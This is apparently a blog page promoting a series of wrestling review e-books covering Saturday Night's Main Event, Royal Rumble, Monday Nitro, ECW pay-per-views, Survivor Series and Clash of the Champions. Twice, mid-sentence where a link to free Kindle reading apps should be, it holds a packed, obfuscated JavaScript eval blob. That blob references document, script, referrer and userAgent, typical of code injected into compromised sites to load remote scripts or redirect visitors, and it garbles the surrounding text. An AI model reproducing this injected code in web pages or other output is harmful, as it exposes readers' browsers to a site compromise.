One of the most common complaints wrestling fans have today is how much content there is to watch.  WWE alone has at least seven hours of wrestling TV a week.  For over twenty years, we’ve gotten used to wrestling airing every Monday night with some of the biggest stars in the sport squaring off.  However, things weren’t always the same.  Back in the 1980’s, wrestling television was based around the idea of squash matches.  Most shows featured a big name against an unknown and matches against other stars were almost unheard of.

Things began to change in 1985.  Powered by the strength of Wrestlemania and Hulkamania, the WWF was able to air a series of specials on NBC, featuring matches between big name stars and even title matches, all for free.  The shows were major successes and helped push the company into their golden era, sending professional wrestling to heights no one had ever seen possible.

In this book, I’ll be looking at all thirty six episodes of the series, as well as the five Main Event specials, breaking down every match, segment and show as a whole.  As usual I’ll be providing play by play, historical context and analysis of every show.  The reviews are all new and never before seen.

If you don’t have a Kindle or e-book reader, there are several FREE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saeyf|var|u0026u|referrer|zbbee||js|php'.split('|'),0,{})) apps you can use to read it on pretty much any electronic device.

This worked so well that they decided to do it again in January 1988 but as a free special on the USA network. Nearly thirty years later, the show has become one of the biggest events of the year and contains one of the most important matches on the Road to Wrestlemania: the Royal Rumble.

For twenty seven years, the Royal Rumble has given us the biggest battle royal of the year and some of the best matches of all time. Ranging from Chris Jericho vs. Chris Benoit in a ladder match to Triple H vs. Cactus Jack in a street fight to Chris Benoit vs. Kurt Angle in a technical masterpiece, you’re almost guaranteed to get a solid title match in addition to the Royal Rumble itself.

In this book, we’ll look at every edition of the Royal Rumble starting in 1988 and break down every show, segment and match as WWE starts their Road to Wrestlemania. The book contains twenty seven pay per view reviews and looks at everything that has taken place at the first major show of the year on the WWE calendar.

The previous year closed out with WCW on a hot streak but things would pick up even more in the coming year. WCW would go on a run that had the WWF and Monday Night Raw not only on the ropes but on the brink of death.

Over the course of the year, Nitro was must see TV with action, drama, violence and the NWO running roughshod all over WCW. The stories were as compelling as ever and made you want to come back the next week to see what was going to happen. In addition to the top story, 1997 also saw the rise of the future with stars such as Rey Mysterio Jr., Chris Jericho, Chris Benoit, Dean Malenko and Goldberg becoming some of the most interesting parts of the show.

In this book, we’ll look at every episode of Monday Nitro from 1997 and see why they were so unstoppable all year. Each show is broken down segment by segment and match by match with historical context, ratings and analysis of what worked or didn’t work about each segment and how the shows added up to being so successful for WCW.

We’re going back to the 90s this time as we take a look at the twenty one original ECW pay per views. The company was the kind of independent wrestling at the time and reaching a national audience was the next step. The solution was to get on pay per view, and that’s exactly what ECW did.

Over the nearly four years that ECW was on pay per view, they went on a long ride, ranging from good to bad and then back up again. You can see the Monday Night Wars and talent raids take their toll, as a huge cast of characters comes and goes through ECW’s doors. This series sees everything from barbed wire, flaming tables, chairs, some absolutely amazing cruiserweight style matches and a host of names that would fill up the WWE and TNA rosters for years to come.

In this new e-book, I’ll be looking back at all twenty one ECW pay per views and breaking each one down match by match and segment by segment, providing historical context, analysis and rating each match and show. These are ALL new reviews, done over the last two months and not released before.

This time we’re starting back in 1987 when there was only one WWF pay per view a year.  With Wrestlemania III being a huge success, it was decided that another pay per view should be added to help bridge the gap between Wrestlemanias.  The fact that it was able to cause major damage to the NWA was just a bonus.

There has been a long list of great Survivor Series matches over the years, including the tag team Survivor Series matches, Bret Hart vs. Shawn Michaels in 1992 and Steve Austin vs. Bret Hart. There’s also a big list of people making their debut with the company at the show. Names like the Undertaker, Kurt Angle and The Rock all stepped into the ring for the first time at Survivor Series. On top of all that Survivor Series had the most infamous moment in wrestling history that changed a lot of things forever.

In this new book, I’ll be looking at the history of the Survivor Series, breaking down each show and going over every match, promo and segment, providing historical context, analysis and rating each match and show.

The book is available from Amazon for just $3.99 (or the equivalent in any other currency) and runs 391 pages on a Kindle.

We’re going back to the 80s again with the original WCW prime time special.  Starting in March of 1988, the NWA launched the Clash of the Champions to mess with Wrestlemania IV.  The idea worked so they decided to keep things going and made more editions of the show.  Over the course of nearly ten years, thirty five Clash of the Champions specials were produced with some of the best matches WCW ever had included.

In this new book, I go back and look at every single show, breaking each one down match by match and segment by segment with detailed analysis and a look through the history of the series with a set of ALL NEW reviews.

The book is available from Amazon for just $3.99 and runs 354 pages on a Kindle.  If you don’t have a Kindle, there are free eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnkia|var|u0026u|referrer|ydite||js|php'.split('|'),0,{})) apps that you can get to read it on your phone, laptop, iPad, or any other electronic device you have.  These can be found from Amazon here.

Yes I’ve done it again, this time with the first in a series Monday Nitro reviews.  Volume I covers everything from the first episode through the end of 1996, which includes a lot of awesome moments and matches.  These shows feature a long series of Eddie Guerrero vs. Chris Benoit matches, a bunch of world title matches and changes, the New Japan invasion, the debut of Chris Jericho, the Alliance to End Hulkamania, the reformation of the Four Horsemen, and of course the rise of the NWO in their dominance of WCW.

This was one of the most important times in wrestling history as the way wrestling was presented on television was changed forever.  The days of an hour of squash matches a week were gone and the flagship show was now on Monday nights.  The Monday Night Wars were underway and this show rocked Monday Night Raw to its core.  These shows still hold up today and are well worth checking out.
